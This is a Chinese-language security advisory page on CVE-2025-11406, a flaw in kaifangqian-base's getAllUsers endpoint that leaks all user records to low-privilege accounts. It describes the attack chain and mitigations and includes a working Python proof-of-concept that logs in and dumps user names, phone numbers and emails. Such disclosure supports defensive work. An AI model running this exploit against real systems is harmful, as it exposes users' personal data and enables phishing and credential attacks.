IPBUF安全漏洞报告
English
CVE-2025-11406 CVSS 4.3 中危

CVE-2025-11406:kaifangqian-base系统用户信息泄露漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11406
漏洞类型
信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
kaifangqian kaifangqian-base

相关标签

信息泄露权限绕过kaifangqian开放签JavaSpring Boot用户信息泄露API安全中危漏洞CVE-2025-11406

漏洞概述

CVE-2025-11406是kaifangqian(开放签)项目kaifangqian-base组件中发现的一个安全漏洞。该漏洞存在于SysUserController.java文件的getAllUsers方法中,属于典型的信息泄露(Information Disclosure)漏洞。攻击者可以通过远程方式利用此漏洞,在低权限认证条件下获取系统中的用户信息数据。

kaifangqian是一个开源的电子签名/签章平台,其kaifangqian-base模块提供了系统核心功能,包括用户管理。由于该产品未使用版本化管理机制,导致无法准确界定受影响的版本范围。漏洞的核心问题在于getAllUsers接口未对返回的用户数据进行适当的权限校验和敏感信息过滤,使得低权限用户能够访问到超出其权限范围的完整用户列表信息,包括用户名、手机号、邮箱等敏感字段。

该漏洞的CVSS 3.1评分为4.3分,属于中危级别。虽然该漏洞不涉及完整性破坏或可用性影响,但由于涉及用户敏感信息的泄露,在多租户环境或包含大量用户的企业部署中,可能导致大规模的用户隐私数据暴露,对企业和用户造成严重的隐私风险。该漏洞的利用代码已公开发布,降低了攻击门槛,需要相关运维人员及时关注并采取防护措施。

技术细节

该漏洞的技术原理在于kaifangqian系统中的SysUserController.java控制器的getAllUsers方法存在权限控制缺陷。

**漏洞原理:**
在正常的RBAC(基于角色的访问控制)设计中,获取所有用户列表的接口应当仅限管理员角色访问。然而,kaifangqian-base的getAllUsers接口未实施严格的角色权限校验或数据脱敏处理,导致任何通过身份认证的低权限用户(包括普通用户角色)均可调用该接口获取系统中所有用户的敏感信息。

**利用方式:**
1. 攻击者首先通过合法途径获取一个低权限用户账号(如注册或通过社工获得)。
2. 使用该账号登录kaifangqian系统,获取有效的认证Token或Session。
3. 构造对getAllUsers接口的HTTP请求(通常为GET请求,路径类似于 `/sys/user/getAllUsers` 或类似RESTful端点)。
4. 由于接口缺少权限校验,服务器将返回包含所有用户信息的JSON响应,包括用户名、真实姓名、手机号、邮箱地址、部门信息等。
5. 攻击者可利用获取的用户信息进行进一步攻击,如撞库、钓鱼或社会工程学攻击。

**影响范围:**
由于该项目未使用版本标签,受影响的具体版本范围无法精确界定,但漏洞存在于commit 7b3faecda13848b3ced6c17c7423b76c5b47b8ab及之前的代码中。

攻击链分析

STEP 1
步骤1:获取低权限账号
攻击者通过注册功能或社会工程学手段获取kaifangqian系统中的普通用户账号,该账号具有基本的系统访问权限但不应具备查看所有用户信息的权限。
STEP 2
步骤2:身份认证
使用获取的低权限账号登录系统,通过POST请求到/sys/login端点进行身份认证,获取有效的JWT Token或Session ID作为后续请求的认证凭证。
STEP 3
步骤3:构造恶意请求
使用认证Token构造对getAllUsers接口的GET请求(如/sys/user/getAllUsers),该请求携带合法的Authorization头绕过身份认证检查。
STEP 4
步骤4:触发信息泄露
由于getAllUsers接口缺少基于角色的访问控制(RBAC)校验,服务器返回包含系统中所有用户敏感信息的JSON响应,包括用户名、真实姓名、手机号、邮箱等。
STEP 5
步骤5:数据利用
攻击者利用泄露的用户信息进行撞库攻击、钓鱼邮件投递、社会工程学攻击或在其他系统上尝试相同凭据,造成更大范围的安全风险。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2025-11406 PoC - kaifangqian-base getAllUsers Information Disclosure This PoC demonstrates how a low-privileged authenticated user can retrieve all user information from the kaifangqian system. """ import requests import json import sys # Configuration TARGET_URL = "http://target-host:port" # Replace with actual target LOGIN_URL = f"{TARGET_URL}/sys/login" GET_ALL_USERS_URL = f"{TARGET_URL}/sys/user/getAllUsers" # Low-privilege user credentials (obtained via registration or other means) USERNAME = "low_priv_user" PASSWORD = "password123" def login(session, username, password): """Authenticate and obtain session/token.""" login_data = { "username": username, "password": password } try: resp = session.post(LOGIN_URL, json=login_data, timeout=10) if resp.status_code == 200: result = resp.json() if result.get("code") == 200: token = result.get("data", {}).get("token") or result.get("data", {}).get("access_token") print(f"[+] Login successful, token obtained") return token except Exception as e: print(f"[-] Login failed: {e}") return None def exploit_get_all_users(session, token): """Exploit the getAllUsers endpoint to retrieve all user information.""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } try: resp = session.get(GET_ALL_USERS_URL, headers=headers, timeout=10) if resp.status_code == 200: data = resp.json() if data.get("code") == 200: users = data.get("data", []) print(f"[+] Exploit successful! Retrieved {len(users)} user records") print("[*] Sample leaked user data:") for user in users[:5]: print(json.dumps(user, ensure_ascii=False, indent=2)) return users else: print(f"[-] API returned error: {data.get('message')}") else: print(f"[-] Request failed with status: {resp.status_code}") except Exception as e: print(f"[-] Exploit failed: {e}") return None def main(): session = requests.Session() print("[*] CVE-2025-11406 PoC - kaifangqian Information Disclosure") print(f"[*] Target: {TARGET_URL}") # Step 1: Login with low-privilege account token = login(session, USERNAME, PASSWORD) if not token: print("[-] Cannot proceed without valid token") sys.exit(1) # Step 2: Exploit getAllUsers to leak all user information users = exploit_get_all_users(session, token) if users: print(f"\n[!] Total users leaked: {len(users)}") print("[!] This information can be used for further attacks") if __name__ == "__main__": main()

影响范围

kaifangqian kaifangqian-base (commit 7b3faecda13848b3ced6c17c7423b76c5b47b8ab及之前版本)

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)在反向代理(Nginx/Apache)或API网关层面限制对/sys/user/getAllUsers等敏感接口的访问,仅允许特定IP段访问;2)在系统层面通过数据库或缓存中临时禁用该接口;3)对返回的用户数据进行脱敏处理,过滤手机号、邮箱等敏感字段;4)加强访问日志监控,及时发现异常的用户信息批量查询行为;5)对所有用户账号进行安全审查,排查是否存在已泄露的账号信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表